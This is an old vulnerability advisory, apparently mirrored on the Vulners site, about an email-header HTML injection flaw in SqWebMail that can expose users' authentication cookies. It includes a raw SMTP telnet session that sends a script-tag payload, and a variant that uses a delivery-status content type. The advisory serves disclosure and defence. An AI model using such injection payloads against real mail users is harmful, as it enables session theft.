source: https://www.securityfocus.com/bid/10588/info
SqWebMail is reported to be prone to an email header HTML injection vulnerability. This issue presents itself due to a failure of the application to properly sanitize user-supplied email header strings.
The problem presents itself when an unsuspecting user views an email message containing malicious HTML and script code in the email header.
An attacker can exploit this issue to gain access to an unsuspecting user's cookie based authentication credentials.
1) sending a raw email message with malformed headers, i.e.
"<script>alert(document.location)</script>":
ashanti@dns:~$ telnet localhost 25
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
220 x.x.x.x ESMTP
helo foo
250 x.x.x.x
mail from:<[email protected]>
250 ok
rcpt to:<[email protected]>
250 ok
data
354 go ahead
<script>alert(document.location)</script>
.
[...]
2) sending a raw email message with the MIME Content-Type header set to
"message/delivery-status" with malformed content (see 1 above).Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation